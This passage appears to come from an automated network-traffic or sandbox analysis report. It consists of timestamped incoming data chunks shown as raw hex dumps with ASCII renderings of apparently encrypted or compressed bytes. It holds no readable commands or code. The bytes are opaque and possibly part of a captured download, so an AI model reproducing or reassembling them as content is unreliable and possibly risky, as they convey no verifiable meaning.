Ascii: my"jzj4Zh8LGy-^V!wQwznyT%^:<UU/PZim0KE$YCrMcQH=l'ks&tWK?4?z^M7,"#BBzK#"2@hHv_KD[(V/ZU!UCq{!!?U!<4^
2021-10-28 20:43:28 UTC	1543	IN	Data Raw: a6 5b 44 03 6f 19 0d 84 83 e3 8d c5 a1 78 ca 28 ea 83 a8 ed 4a e9 61 fe 22 29 63 3f bf ea 7d 7a d5 85 93 0b 51 7f 70 f3 ad 98 2a 98 22 7b a9 ba 5b 82 48 37 8e 52 3a 31 71 50 73 28 b4 46 59 db af 7e 2b 96 fe d9 e4 85 ac 73 a9 5d 4c 92 c7 36 fa 09 8f bd 83 c0 43 21 2f f4 77 3f b0 5d 84 23 2d ce ca 17 8e 3d 50 b0 e5 f5 2f 03 ef 1c 8b 31 87 a6 96 22 a1 1c e4 55 2d 2d 2f aa 17 42 30 c9 5c f0 28 8b 4d ff 5b 8d 41 2b 46 10 93 18 c7 eb 1e 02 61 65 b0 a7 ea 5c 74 04 19 a7 b6 d4 90 0f 0a 0f 89 30 f2 43 7e 62 09 39 5f c9 97 91 42 1f d4 78 eb ad 39 34 b2 0f c6 a9 ae 78 fd 0a d0 04 7f cb b2 aa ea bd a8 c2 eb 04 eb 2d 0d 81 44 df 4a 58 9c e8 9b b2 d4 1c 86 6b 55 7b 90 f9 bf 99 b4 12 d9 fc 85 83 93 45 48 8a 70 15 5c 22 88 34 f4 d4 6e 64 5b 81 78 dc 4b 39 73 dd b2 50 9b Data Ascii: [Dox(Ja")c?}zQp*"{[H7R:1qPs(FY~+s]L6C!/w?]#-=P/1"U--/B0\(M[A+Fae\t0C~b9_Bx94x-DJXkU{EHp\"4nd[xK9sP
2021-10-28 20:43:28 UTC	1559	IN	Data Raw: 36 a6 1d b5 c9 65 03 94 8c 80 00 7b 6d 21 c3 d8 05 ce 1e 1b fd be 84 f9 c5 e1 9c ac 57 6b c0 8d 24 00 33 f9 34 cd 2f 60 be d5 b0 40 58 5c b1 43 c0 f5 a3 5d f2 69 a0 40 b1 3d 5f 9b 93 02 f7 f3 25 b5 fe 87 1e aa 1c b6 73 4f eb 7e 6a e1 cd 8d 6b 50 94 47 3a a1 ac a0 d2 07 af c8 93 fb ae d5 0b 6f 60 06 e5 bf d7 0e 65 e8 1f aa 3a b5 81 b8 15 04 bc 42 65 df dd cc 8f e0 b3 b4 d5 c4 17 ec d5 c9 53 c3 58 fb da 5e 35 f2 24 78 7b 99 4d 5f 23 3d 29 3d d0 7f bb c5 ac 87 67 c8 3e d9 cf 98 42 c1 52 8f 84 86 a5 37 1d 1e dc 4e cc 58 aa 85 be 02 c8 b8 b8 60 fa d5 e0 bd 7e b0 78 22 b3 2b 74 63 8f 45 80 9e ad 51 13 7b b9 4f 4b 1d 37 77 6c 81 e7 a7 71 cf 89 d0 7a 0a 0c 60 55 d1 7f 70 fd 8c 49 fc 83 d6 12 55 06 f2 20 7e 13 bd 92 bf 83 67 85 c8 cd 89 f5 8b 75 fb fb dd 05 10 99 Data Ascii: 6e{m!Wk$34/`@X\C]i@=_%sO~jkPG:o`e:BeSX^5$x{M_#=)=g>BR7NX`~x"+tcEQ{OK7wlqz`UpIU ~gu
2021-10-28 20:43:28 UTC	1575	IN	Data Raw: 2f 7a 81 95 ed c1 ba 26 39 4d 75 22 74 0f a6 58 89 6f 8e 5d 3f a0 3d 3b 5d cc 78 85 c4 a2 e2 30 d7 69 cf a2 32 98 59 f3 f0 19 bb 36 51 51 3b 82 72 36 bd 9d a6 f6 8f bc 80 02 ac 82 65 cc 06 7e 41 eb 8d 35 f8 bf fb b3 ef 52 f0 3b 99 03 99 73 45 73 10 88 06 5b 74 53 b0 70 27 bd ed 40 83 f9 98 39 ad 00 e1 14 88 88 2a 2c ad 75 80 73 d4 21 e0 de c0 5f 3c e0 1e d4 ac 51 4f 5b 75 2c 39 9e 1d bd 5b 5d ae 2a 5a 86 e6 06 1b be 21 56 92 16 dd 78 b3 92 72 4a 37 be d5 26 cd b0 74 3a e4 18 48 60 af 1d b1 28 75 c6 0b d5 06 67 76 30 2b 12 5c 70 1d 47 07 98 6e d7 89 c5 5c 43 fd e8 31 43 de 75 80 0b 9c 79 93 69 be 3c f4 7d 5a 9a d9 28 3d 2c 10 50 db 3a 8a 05 c1 66 a6 63 f1 85 d3 df 0e 90 4f f1 32 71 eb 5d fb 63 83 c4 e0 13 9a 4c f3 a7 2f 61 b9 d5 6c 53 e4 0d e6 8b 9f fc 6d Data Ascii: /z&9Mu"tXo]?=;]x0i2Y6QQ;r6e~A5R;sEs[tSp'@9,us!_<QO[u,9[]Z!VxrJ7&t:H`(ugv0+\pGn\C1Cuyi<}Z(=,P:fcO2q]cL/alSm
2021-10-28 20:43:28 UTC	1591	IN	Data Raw: bf 5b 23 cd 9d f5 b7 b8 99 57 28 9d 24 df 46 8b f9 7a e6 4a 8a 7f 23 3c 21 11 76 15 99 c7 69 93 fd 43 4e 59 bc 7c b1 4f a3 ef c5 32 ba 23 28 9d b7 2f 9a b9 c8 43 cf 30 7a b6 88 68 30 9a 48 db 6f 3c 91 27 06 c1 1d 68 9c 3f 3f a8 e6 68 84 9b 36 1a 7e fe 89 bb ef 80 d0 41 9a 63 b2 cc 3d 44 03 b7 8f e0 77 40 c4 74 66 52 8e e3 51 92 2e c2 ac 77 81 ba 85 a2 a2 52 4b 34 ca 38 c8 2e 55 4f b2 aa 32 7b 1a 83 6d 71 41 33 9f c1 93 2f ee 8e da 97 5b f9 0e 51 ca 5e 36 30 a9 6a fe 18 0f 61 27 36 f0 1f e0 5b 1e 5e ce c3 8b 4b 7c 50 97 62 53 5e 95 ae e3 6c e3 d0 42 45 6a c6 e7 53 a2 b3 9c 40 73 a2 3a 36 21 de e4 c8 3c 75 06 9e e8 0c 2f c4 0d a8 dc fd 4e ce 8d 57 70 bb 7c 8d af 26 20 53 fa 7c bd ef 77 ee 67 73 cf 26 27 ff dc dc d9 35 cc c8 3f 44 29 b5 e5 18 63 41 51 e8 c6 Data Ascii: [#W($FzJ#<!viCNY\|O2#(/C0zh0Ho<'h??h6~Ac=Dw@tfRQ.wRK48.UO2{mqA3/[Q^60ja'6[^K\|PbS^lBEjS@s:6!<u/NWp\|& S\|wgs&'5?D)cAQ
2021-10-28 20:43:28 UTC	1607	IN	Data Raw: 89 9a e5 cb c6 5c 4d 2c 2f 2d aa 6f 4b 84 93 f3 eb 66 9f b2 da 54 65 01 75 77 79 a5 60 20 16 2d 14 46 a3 51 23 fc 9f 5d 41 16 fc 49 f7 0a 1d da 9f 76 98 5d 3c 7a 04 6d f9 19 97 d7 34 af 52 10 54 7a 20 42 d6 59 b3 37 46 53 9e 18 f4 c1 c7 c8 65 c1 29 64 1a 8d 2e 06 85 4e 86 d8 dd f4 ba 2b 4d 58 d2 9d fc 77 4d d0 14 fb 35 a7 ea 8b 85 0f f2 bb 6a cc 4f c4 c4 ae 81 7b 0a 28 9a b4 62 d1 b3 26 29 91 23 f9 5a fc 4f 98 f1 68 9b 4b 17 7b a6 63 19 57 e1 b3 fc ec 68 88 24 76 39 f3 0c 20 eb 90 07 57 a1 1d a2 11 0a 05 6c 2c 50 18 c5 6b 40 d7 61 10 f3 97 dc 76 05 9f f1 3b c3 5a 7f f3 8a e6 af f0 52 0b 52 bc bd 47 ad a1 ed 8f a1 58 6b b2 2a 2d 52 f8 b5 51 6f 33 62 4c 1c 08 cc a6 2c 7e a9 89 1d ef 23 02 19 18 8e 1b a3 3e 07 da ea c7 73 ff 43 8a 0e e5 1a 95 f1 24 00 be 26 Data Ascii: \M,/-oKfTeuwy` -FQ#]AIv]<zm4RTz BY7FSe)d.N+MXwM5jO{(b&)#ZOhK{cWh$v9 Wl,Pk@av;ZRRGXk*-RQo3bL,~#>sC$&
2021-10-28 20:43:28 UTC	1623	IN	Data Raw: 1e 1c 69 1b 52 6b ce 87 19 59 e1 19 05 1c 28 36 31 94 b8 90 2d 97 12 ac 0e 82 b5 63 6c 65 27 e7 7d 9f dc c1 bf c6 3e 3c 1a 42 0b d6 f1 ed eb b1 23 c7 78 f2 be 48 84 42 e6 d9 de f6 a2 8e ba 10 3b 8c 05 c3 57 f4 ff 53 6c 7b 1e 5d 9c 6c 22 2f a5 c2 d2 32 8a 0e 9b 24 c8 dc f2 95 87 53 bb 90 83 09 39 ed 44 4b 8e 26 b7 01 0c f4 28 93 df 55 4a d2 a5 78 41 0a be 44 ae 60 fa e9 6b 32 b7 59 34 ac 42 d4 12 b4 a3 05 0b cf 82 1a 73 ec a0 79 56 d9 db c6 a4 2c 27 27 b5 ec a2 4d 9e d4 dd 29 34 b4 f4 d8 83 00 8d 58 c1 f4 f5 e7 0a 68 80 d4 25 1f 9a ef af c9 6b 9a 2a 84 43 75 71 8d 8f 28 29 26 cc 7d ae db c8 29 14 e4 52 e3 17 dd 84 4f 31 74 1d e5 79 64 55 ed 0e fe 83 55 1d 16 9e f1 ff cb 07 4a 32 39 29 d1 6e 65 38 7b f1 db 58 a2 5c 1f 16 ac 8c 66 41 89 bc 7f 41 31 ac 66 3e Data Ascii: iRkY(61-cle'}><B#xHB;WSl{]l"/2$S9DK&(UJxAD`k2Y4BsyV,''M)4Xh%k*Cuq()&})RO1tydUUJ29)ne8{X\fAA1f>
2021-10-28 20:43:28 UTC	1639	IN	Data Raw: 8d d9 e0 9d e7 02 13 cd f1 55 d6 cc 54 4b ab ec 72 bf e7 2e d6 27 e0 f0 17 ce 54 0e f4 ae 2c 3b 98 8d f3 ef ba c8 38 ac 46 97 a5 4c 67 1c fe 37 6b 9c e7 cd 41 e2 0d 41 db 04 ef ac 2f c6 c1 2d d0 dc fe bd a8 fd 30 a8 e7 68 ac 29 3d 15 c8 fa 65 ba 79 2c 79 35 6d 20 ba 86 63 1f 7e 8c 16 2a 02 62 ed 9f d8 95 9b 38 3a c6 c7 19 e9 76 42 cc 5f ed 4a dc c1 65 9b ed 0f e2 5c 91 37 dd d3 9e 79 b1 d6 e4 ed 06 d7 36 39 2d 0e 0d b6 b7 81 99 9b 24 74 73 b3 72 22 1b 3f 8a 6a 60 7b 4e 9b 41 55 27 9d 4b b7 5c 68 4b 8c 43 a5 a6 a5 d9 35 2f a4 2e 43 48 6a 20 21 ba 21 f6 47 b1 a0 0e fa bf 7a 96 81 c9 04 e3 09 e8 2b 66 21 83 f6 a8 08 c0 bb 4b 76 11 74 77 01 8f 1c 04 bd 03 a3 84 ab de 82 56 ad 7c d4 e6 3e 73 ad 73 2c 46 35 fb 51 b2 88 0e 10 bf c4 b1 53 fd a2 8d c7 1b 91 7d 2d Data Ascii: UTKr.'T,;8FLg7kAA/-0h)=ey,y5m c~*b8:vB_Je\7y69-$tsr"?j`{NAU'K\hKC5/.CHj !!Gz+f!KvtwV\|>ss,F5QS}-
2021-10-28 20:43:28 UTC	1655	IN	Data Raw: 46 90 c8 91 cb 6f c6 82 9a b8 78 32 f2 8e 2b c0 35 1a 77 24 b9 35 fc b8 a0 7b a2 92 1c 86 df 01 64 46 8d 29 5c 20 d9 83 e4 8b 58 76 3c 6f 73 4f 42 e0 9e 19 f8 d0 d2 00 1b 81 d5 19 69 ac 92 fe bb 83 ee d2 37 be 98 56 e7 0f c9 d0 56 59 26 9a a5 c2 7a 72 45 34 76 f4 5d af 28 8a 32 d8 84 58 c0 93 f1 4d 56 9c 43 fe f6 91 93 a2 68 32 d0 d5 1d 3f a5 f2 2b 1d c9 a5 86 b1 92 dd 26 9e b0 dc 4f 5f df 61 37 00 e8 0b 7a 8e 69 d4 fa ce 49 64 25 94 3e 23 d4 e0 57 04 d5 42 ed a8 69 63 99 6e be c8 48 e2 6e f4 46 aa e3 fc 11 01 35 21 2a 92 d8 d3 65 de 70 25 fa 64 e9 88 62 f3 c7 ae 1a d3 0a fa 85 1b 59 2e 8b 45 87 4f 06 a0 25 0a f1 be db 09 56 71 db e8 ed 1d 2d 97 66 ef 20 64 51 51 0e 56 10 31 22 d2 59 3f 40 f1 90 bd a5 63 3e ef aa 92 d9 a9 43 45 c6 36 9c b5 88 0d a4 93 db Data Ascii: Fox2+5w$5{dF)\ Xv<osOBi7VVY&zrE4v](2XMVCh2?+&O_a7ziId%>#WBicnHnF5!*ep%dbY.EO%Vq-f dQQV1"Y?@c>CE6
2021-10-28 20:43:28 UTC	1671	IN	Data Raw: 55 eb 9b 97 04 8a b5 48 fa 28 c9 4d aa 8e fd 31 f2 ab 2e fe 05 eb f0 58 ad 96 c9 92 25 f6 48 a0 56 8f 03 b9 e0 06 5c 86 0a ee 8f 77 eb 76 0e 4e 10 13 cc 03 95 ca 43 34 31 d5 60 d5 3a 0c ee 15 ee a2 c1 bd 0f b3 47 48 37 fb b6 99 df 0e 9c 05 3a 24 dc 82 72 b0 55 ce 99 a3 ae 8c c7 6e c3 c5 09 ca cd 48 b0 34 76 23 fd 9f c2 9c 70 6a 05 18 43 76 27 97 5f 7c a3 dc a0 31 f7 0f 4b 16 c1 10 ca eb c2 f3 4f 58 c8 7e 50 86 7f 4d f3 5e d5 8b a4 92 2c 63 c4 c0 9f 82 01 0d 6d d0 02 70 d8 98 ce a3 e4 45 51 10 7d 23 af c6 05 4a d4 c0 92 a1 56 32 ec 91 e8 1e 7d b7 4e 3f 63 3d bf 9a 42 2a 58 ec c3 90 83 9b a3 c1 41 68 a3 2b 0d 04 76 36 b4 9a e0 2f 6d 38 91 e7 97 92 2b 83 31 b5 f7 66 64 ab b8 b8 4c 67 89 e8 61 c4 f7 86 e8 0e 92 7d 99 b6 c1 20 5f 9d fa 7b 4f e3 e5 5b b0 8a 60 Data Ascii: UH(M1.X%HV\wvNC41`:GH7:$rUnH4v#pjCv'_\|1KOX~PM^,cmpEQ}#JV2}N?c=B*XAh+v6/m8+1fdLga} _{O[`
2021-10-28 20:43:28 UTC	1687	IN	Data Raw: d2 d9 47 df 4a 5c b9 32 2e e4 f0 ff dc 4c 0b 52 7e c4 cc 71 cf 46 65 bf 11 e9 c0 8a a3 fd 7a e5 55 99 99 04 e7 bf 40 ab ee 2d 34 63 f9 00 46 54 31 70 36 29 bb 76 24 0e 39 8a 7f 2d b3 b6 a4 a7 39 5a 5e e2 51 f4 0b b7 be 94 35 2e 98 07 97 dd 1a 6f 64 90 5d 1d 82 3e 2c 9a a4 1e 86 e9 a0 b5 81 02 61 bf aa 50 0a 3c 46 ec ad e5 36 bd f4 05 fd a0 94 1f 92 f2 6b e4 21 b6 a5 cf d5 54 c7 ea e6 fc 38 2c 7d 66 cd 44 64 97 6f 41 24 f3 d9 68 c6 8d fe 92 b7 02 96 ee 26 22 9f 2e 44 fb a2 3c 49 a2 01 0e 37 b0 03 d7 27 15 84 5d ec a3 f3 95 d3 3e cb f8 11 a7 62 c7 9b d6 87 f2 1f 46 3f d1 6b 98 9c 27 10 55 67 dd 0f e0 86 f8 a8 20 2c 62 ce 4a b3 90 36 25 50 ca 3f b8 8c 7a 36 3a d8 a7 19 c6 a4 49 7a 69 b7 b3 0b 8e 5f 7b 8a 55 b2 bb bd 7b 6b d6 7d ca 90 95 54 6c 1d 37 b4 9f fe Data Ascii: GJ\2.LR~qFezU@-4cFT1p6)v$9-9Z^Q5.od]>,aP<F6k!T8,}fDdoA$h&".D<I7']>bF?k'Ug ,bJ6%P?z6:Izi_{U{k}Tl7
2021-10-28 20:43:28 UTC	1703	IN	Data Raw: 02 ed 94 ea 26 9a 72 a5 b8 fd c6 b0 98 e2 15 70 29 d6 47 6e 6e cc 76 e3 f7 4a f3 9d ae c7 dc 47 36 51 29 36 64 19 eb 97 0d 3b 97 b7 90 19 19 33 a9 7e dd 6c 3e 61 b5 33 31 34 d8 b3 65 93 67 12 67 6f 1d ca d6 bc 57 16 88 61 ff e3 57 ae ea 53 a0 fc 3b 84 43 25 74 dd 95 1e 07 71 3b 0c 22 fb 8f 63 73 bd 90 30 c4 fe 9e fa 65 0b 22 e5 d8 89 21 97 82 d9 22 bc 89 8e 83 e2 9c 01 a3 f0 da c8 8c 55 2d 0d c8 71 20 b3 18 35 ec a1 75 76 21 98 f5 05 8e f1 01 dc e3 f4 a1 86 d1 d7 9e 7c 9b eb e5 09 be 4a 08 37 13 2e a8 00 1c b6 67 a6 e3 e5 1c fd 40 ed e6 d0 d4 4a 95 ae 2c 3f 22 a2 ec 43 51 c6 5a 7f 7c 3d ea 3b ce 3d 91 73 b1 41 1b 8a 6c f3 81 bf cf 89 51 f3 60 67 db 82 d2 39 23 4a 46 7c f7 4c fd 2b 52 fc b2 c3 3a d0 fd 0f 79 cc f2 41 c6 4c e3 89 a6 74 97 85 f9 4d ee 55 a9 Data Ascii: &rp)GnnvJG6Q)6d;3~l>a314eggoWaWS;C%tq;"cs0e"!"U-q 5uv!\|J7.g@J,?"CQZ\|=;=sAlQ`g9#JF\|L+R:yALtMU
2021-10-28 20:43:28 UTC	1719	IN	Data Raw: 7e a4 e9 2f 72 44 90 47 b3 8d ab 01 e0 a5 bf 72 e3 73 1f 35 b7 53 29 f0 56 dd f9 c9 64 78 c6 88 40 79 9d 48 e5 2b b8 98 f4 65 ab 61 32 60 cd 33 5e 92 43 e9 d7 c6 69 d3 0c 47 58 d8 8e 17 56 31 e7 bb c6 5a 5c 7c 2e 02 2d ab 88 8b a6 54 2a 78 d4 34 c8 5a 27 29 d7 86 95 63 28 c5 76 e2 e7 be 07 ef 06 73 5b d4 01 77 44 48 9f 94 89 9e 49 69 38 bc 90 b7 f1 e1 14 db 84 d2 aa 3c c1 fa a2 6f 87 93 ef 68 00 71 f8 6c 69 10 f8 df 39 5b 0d de e7 69 03 63 26 30 f9 9a d3 0b d5 d5 70 50 59 a0 23 80 31 56 cd e0 f5 06 00 f4 db 52 ee 59 9c 6c d6 62 6e f4 98 72 8f 13 87 ce 1b da 5e 1b 41 51 d1 b4 0f 6c ac 13 77 8e f4 13 b1 60 0c 1d 8e bc d9 af cb 70 b3 bd a6 72 c6 2c 9b 85 2e 94 22 cf e3 b1 00 56 ba e3 e3 f2 31 d1 6d 81 01 09 3e e3 84 c6 94 98 c5 d9 05 d6 27 83 16 02 38 ce 23 Data Ascii: ~/rDGrs5S)Vdx@yH+ea2`3^CiGXV1Z\\|.-T*x4Z')c(vs[wDHIi8<ohqli9[ic&0pPY#1VRYlbnr^AQlw`pr,."V1m>'8#
2021-10-28 20:43:28 UTC	1735	IN	Data Raw: 6f 23 96 ec 1c 30 b3 9d 92 e2 32 de e4 29 72 b7 f7 7e ff ba 80 1b 74 60 7f 10 1c f3 8a dd f5 1a 20 32 af 1b da 42 0d 7a 67 ff 19 55 67 d0 21 1d fb 54 02 67 22 16 a4 e1 14 59 da 08 96 49 7f c7 ee 5b eb f5 83 77 0b 37 26 52 a4 08 ed 98 11 dc 26 4a 7d a6 a8 91 81 25 ce 7f 6b f4 57 3b dd 79 88 5e 7a d9 fc fe 68 fb ab d1 e7 ec b0 d2 50 da b4 d2 22 1d 4e 0d b7 ba 95 e4 d1 41 c1 2a 3b 18 ce e8 63 30 67 13 8b 2a 90 98 79 26 26 fd 43 bb b6 d3 96 ad b9 d0 05 3d e2 78 0d d3 4a da 7a 93 74 e6 4f 5b d5 30 a9 34 df e8 85 5a fd 7b 1b 9c 7f 48 e1 04 34 3e 17 12 21 4e c4 b1 10 be e1 47 ef 28 09 38 ab f7 8c 44 06 54 3d a1 a8 83 5b f9 40 f3 e6 cb d8 1b 9e e0 ea 5c 53 70 2c 2d b5 e7 15 7c a0 1f ca ad 74 fb 73 31 a4 f3 ac 5e 2c 26 55 ae dd 7d a0 17 de be e6 c3 0e 11 a5 a2 1b Data Ascii: o#02)r~t` 2BzgUg!Tg"YI[w7&R&J}%kW;y^zhP"NA;c0gy&&C=xJztO[04Z{H4>!NG(8DT=[@\Sp,-\|ts1^,&U}
2021-10-28 20:43:28 UTC	1751	IN	Data Raw: 4d 8a 1c 60 2c d7 3e 6a 2d ad 0e df e2 5c dc ed 2e f9 f5 c2 72 ed 91 4f a3 8a b1 0e 0f fa 05 8f 15 cf 51 aa d5 ee 2a 8c d9 5f 70 dd 0d 60 26 12 b4 77 64 a3 dc 24 b2 41 00 68 86 27 f2 f6 e3 46 6c 8c 14 bf e4 73 34 31 18 7b 0e 80 16 63 74 90 e9 64 d8 21 b5 b8 f7 31 bb c3 9e fb c2 19 2a 53 9a 8c 5a 39 51 aa 02 19 15 60 91 b4 d3 93 e5 df 36 1d 20 07 14 7b 7b 54 01 a5 3b 79 b2 8b 38 92 39 94 c6 40 45 b0 01 78 d2 ad 8b eb 88 2b 64 36 e5 62 48 1b 96 51 94 94 62 3d 03 f1 bf 5d c3 fa db 76 7e 19 70 86 a2 77 51 0b 17 2b ce fc d4 c6 e9 de 7e b9 d5 0f 78 01 3d 0d bb 65 f8 84 02 19 17 26 35 0a 84 32 9d 52 f0 31 ab 12 c2 c2 c4 d1 8f a8 d7 cb 01 f7 69 81 40 b7 f5 46 38 18 d5 81 6f a7 e2 c2 10 21 25 94 c9 47 91 89 c3 3d 90 3f e5 14 96 1b af 3c bf 99 10 b7 10 43 dc 01 7b Data Ascii: M`,>j-\.rOQ_p`&wd$Ah'Fls41{ctd!1SZ9Q`6 {{T;y89@Ex+d6bHQb=]v~pwQ+~x=e&52R1i@F8o!%G=?<C{
2021-10-28 20:43:28 UTC	1767	IN	Data Raw: e6 e9 32 00 29 e7 33 75 a7 e5 a7 22 02 41 0d 1b 3f d4 e7 bf c5 90 2f 9d b8 2e 3d 1f 88 04 05 71 a9 e6 e0 51 c3 3f 16 45 3d 4f 73 94 f8 4c 96 e4 8f b9 66 6a 2b 11 54 7c 16 b2 44 2d 3c 2b 92 8b 28 d0 ff bb 8c b9 03 7f a4 9c c2 2e 59 33 b3 ff c1 33 f1 77 e5 7a 48 67 4c 91 47 64 d1 61 6a 5e 8f 28 48 8a 75 b0 67 69 4a 86 62 8f 45 2c b6 9f 16 63 d0 e0 c5 95 5b 67 4d 8e 48 54 22 d1 d2 cf ff 27 54 d6 b2 cb 3f 01 84 f1 2d 31 de 60 ce f3 6b 61 99 40 94 fd 1b ef c5 20 e5 0a 20 01 7d 99 d9 a0 ae 01 6d 75 93 9f 20 5f df 31 87 5b 95 d3 4f 3c 8a 11 e3 a6 00 6e 8c 5c f9 17 61 40 6a 4d b7 d2 6b f0 40 20 07 4f b9 ca 77 2e 24 a1 00 03 44 f6 08 ca e0 52 b6 46 47 ea d5 29 4f 65 20 25 d6 fb e5 99 c7 62 16 40 1e 62 79 93 69 03 71 ee 1b d8 9f 26 d7 57 f3 f5 07 d5 fa 73 76 3c 07 Data Ascii: 2)3u"A?/.=qQ?E=OsLfj+T\|D-<+(.Y33wzHgLGdaj^(HugiJbE,c[gMHT"'T?-1`ka@ }mu _1[O<n\a@jMk@ Ow.$DRFG)Oe %b@byiq&Wsv<
2021-10-28 20:43:28 UTC	1783	IN	Data Raw: 39 0d 8d c1 ca 5a 91 74 a6 b1 83 32 13 26 3d 09 e0 bd 4b b3 f5 52 1d 87 85 dd db 3c 01 11 ab 1e b2 20 82 50 ac 90 8a 72 ab ea e9 53 1e 7e 2e d8 c9 19 5d 94 ea 3a 00 31 bb b0 81 6c 90 c4 73 fa 80 1c d9 88 e3 78 35 1f 63 c8 32 32 2e 5b d8 57 f2 33 23 6e 17 63 2d bd d4 ac 35 b1 d0 ca d2 95 d7 18 c3 39 23 d5 9b 1e 1a 71 95 d9 ba 71 32 b3 7a 75 64 cc 11 79 4d 3b d1 38 4a c3 df 85 c7 99 d8 cf 75 16 30 b3 94 73 ac 13 51 c2 7e 80 4f 68 16 18 ea 7a e6 bf 9c ae ed 32 03 c7 16 5e 61 e0 3b 35 06 fd c4 ce b0 65 d4 c6 d3 b0 01 4a 09 da d8 a6 c3 a2 e9 10 54 8e c4 6c c2 7a e2 e2 9b 25 bd a7 4b 04 65 79 fe de dc 8a c6 b8 0b de 5e c9 05 73 4d 90 78 d1 6d e4 76 86 ee 31 48 3e bb b6 0e 64 ac c3 8c ee 8e 92 c7 b0 54 f6 c4 78 c4 9f 6f d2 96 c6 81 3e 54 39 30 83 f3 a6 d6 ac 51 Data Ascii: 9Zt2&=KR< PrS~.]:1lsx5c22.[W3#nc-59#qq2zudyM;8Ju0sQ~Ohz2^a;5eJTlz%Key^sMxmv1H>dTxo>T90Q
2021-10-28 20:43:28 UTC	1799	IN	Data Raw: d6 35 8d 2c 50 fe 44 95 f8 01 46 52 19 be eb 05 49 f0 ba 61 6f 4e 24 5b fe 04 32 68 3d 58 f3 5d d0 06 58 e8 f3 87 93 a2 f7 b4 13 2b cb 36 b3 0b bc ff 85 80 59 b9 9c cc cc fd 3c 20 0e 5c 49 20 33 7a fd 98 3b b8 08 af 7e 96 be 8b a9 f5 7e ba 9f 3a 0d 4a 65 5d 66 87 ee df 0c 45 3a db 49 b7 1a 50 54 a7 12 19 be b0 9a ee 42 75 5c db 1c 44 19 83 c1 62 f8 8b 33 7c 61 bb 74 34 88 ea 8c fd 96 3e d5 b1 7a b7 d6 f8 6d c4 73 4c 5a 21 0f c9 9e a1 0a 12 ca cd 5a f6 1f ea 3c 13 c1 8d 26 f4 56 81 97 d2 1f 2a 51 19 5b b1 15 0f e7 b0 56 14 f3 37 80 89 18 fc 10 36 0e b0 fb 8b 68 47 02 7c c7 47 92 13 73 f9 7d 42 f9 34 cc 80 3b 57 35 bc 49 b3 07 b6 0c 07 8c b1 c0 6a c4 fb 3a 50 91 44 cf ad 7b c5 68 58 b2 dd c4 c8 b8 b5 47 7e 19 98 be e3 a3 22 9f 48 e5 4e 8f c8 19 e0 c5 db ce Data Ascii: 5,PDFRIaoN$[2h=X]X+6Y< \I 3z;~~:Je]fE:IPTBu\Db3\|at4>zmsLZ!Z<&V*Q[V76hG\|Gs}B4;W5Ij:PD{hXG~"HN
2021-10-28 20:43:28 UTC	1815	IN	Data Raw: 00 cd a0 e9 c3 1e 3e 3d 34 cb 73 28 d1 89 6c 80 a3 56 2e 19 c3 7e 7b 1e 06 33 ef d3 11 0d 0c 3e 2b d9 e7 f3 dd 14 e5 f7 01 21 3d 58 14 91 24 17 4e 63 70 4d c0 a3 33 7a 19 db 40 1f 2a 94 29 79 0e 3a 5b 1f c0 0d ae 92 82 26 d6 33 d9 7e 50 84 a4 1f 2a 91 7a 10 33 45 33 b2 4b 51 19 1f 3f 51 a8 5a 32 3d 26 22 fb 9a 54 0d 06 ae be d6 24 7f 61 e8 7f 28 6a ed 77 78 f8 25 19 9c bf f1 b0 fb e4 61 f3 58 46 fd da f9 c5 68 50 10 48 ed 84 bc b0 30 6b 6c 0b e0 df b6 32 a6 8d a5 93 8c 08 fb 54 b6 3e e0 6e 2d 8d 7b a8 cd 80 4c 31 8b 8e 7a c2 61 ff e4 9e 82 9c 87 c5 28 67 9a 0f 35 19 70 d3 5f 43 5a 85 be 0d 4c 33 7b 97 bd f2 2a 59 f6 f9 f7 e3 62 60 3d 66 07 88 8a b1 f4 18 eb 47 03 71 65 93 bb 03 b7 1b 42 1d 7b 87 f5 1f c7 1f ca 9c 2c f6 54 9d 4b 52 6d 79 c0 18 b5 5b 75 b2 Data Ascii: >=4s(lV.~{3>+!=X$NcpM3z@)y:[&3~Pz3E3KQ?QZ2=&"T$a(jwx%aXFhPH0kl2T>n-{L1za(g5p_CZL3{*Yb`=fGqeB{,TKRmy[u
2021-10-28 20:43:28 UTC	1831	IN	Data Raw: 01 df f6 45 2e cc ec 81 4e 9a 77 5b ee 39 35 5d b3 23 bb fb e2 d1 85 7e e7 de bd 35 5a 25 af e2 c8 e3 b6 0f f7 45 86 30 c5 1d 7d 72 ae 50 fd 79 75 ad b0 e7 1a d0 c9 fd 8d ee 4c 80 96 5c 7b d1 31 dd 07 91 90 02 60 e4 9d 08 ea cb 46 b2 bb c2 f1 81 92 23 b4 4b 31 ea 07 c8 4e 92 40 a8 9a a0 e5 14 cc 33 6e a6 12 71 29 99 e1 f5 f5 3d d4 9d 28 01 8d 69 d0 76 28 cd e5 56 ef bf 9f 79 f1 27 b4 79 f7 12 72 c0 22 e2 ca 3b 41 d2 7a 1c 51 2a 9a 89 05 35 3a c5 b1 d6 fe d5 92 96 1a ae a6 28 22 aa 73 f1 5a 35 ad 02 e1 f3 60 82 78 21 f1 10 5c d4 e9 70 49 7a 22 6c 59 2a e4 e3 4a 32 85 b0 1e cf 25 ea c6 28 d0 2f 09 bd f0 75 11 d5 ee f3 64 aa 96 17 bc 59 42 5b 0e 9b c4 fe 37 ae 33 ce 83 22 0e 9b a6 bb 15 fc a4 aa 42 73 27 01 47 51 6d f3 15 92 65 db 7c 59 03 d0 94 98 f0 91 35 Data Ascii: E.Nw[95]#~5Z%E0}rPyuL\{1`F#K1N@3nq)=(iv(Vy'yr";AzQ5:("sZ5`x!\pIz"lYJ2%(/udYB[73"Bs'GQme\|Y5
2021-10-28 20:43:28 UTC	1847	IN	Data Raw: 4c 84 e8 01 ba 45 97 71 13 fc 2c 20 f8 1b bd d4 cb ac 0d 54 29 6b b0 3c 79 24 e6 f5 62 a5 1b d5 da 0f ac 05 1e a1 24 65 b7 7f a3 92 fa b3 47 c0 b1 05 9d ea 2a 73 35 87 87 f5 17 f5 ab 21 d0 91 f8 e4 cc 34 f7 98 e7 55 da 7e fd c7 fc 76 5e 9a f5 e6 db f7 70 48 c6 d3 b6 ee 9d 0a 15 c1 bb 7e 8f 97 b1 68 14 cc 84 cc 82 07 d4 06 75 cd 97 26 d9 9b 14 ce 76 5c 63 b1 5f 2f cd b4 28 b4 69 7d ea 6a 38 29 3f 15 34 bc 56 db d9 b0 91 ee b4 7a 57 97 21 45 fa 8e 0e db 52 be 5e e2 d3 b8 88 9b 60 26 87 5b c9 ad a4 b7 17 3d 0c 78 81 63 7f 83 e6 f3 c0 f6 f8 93 14 02 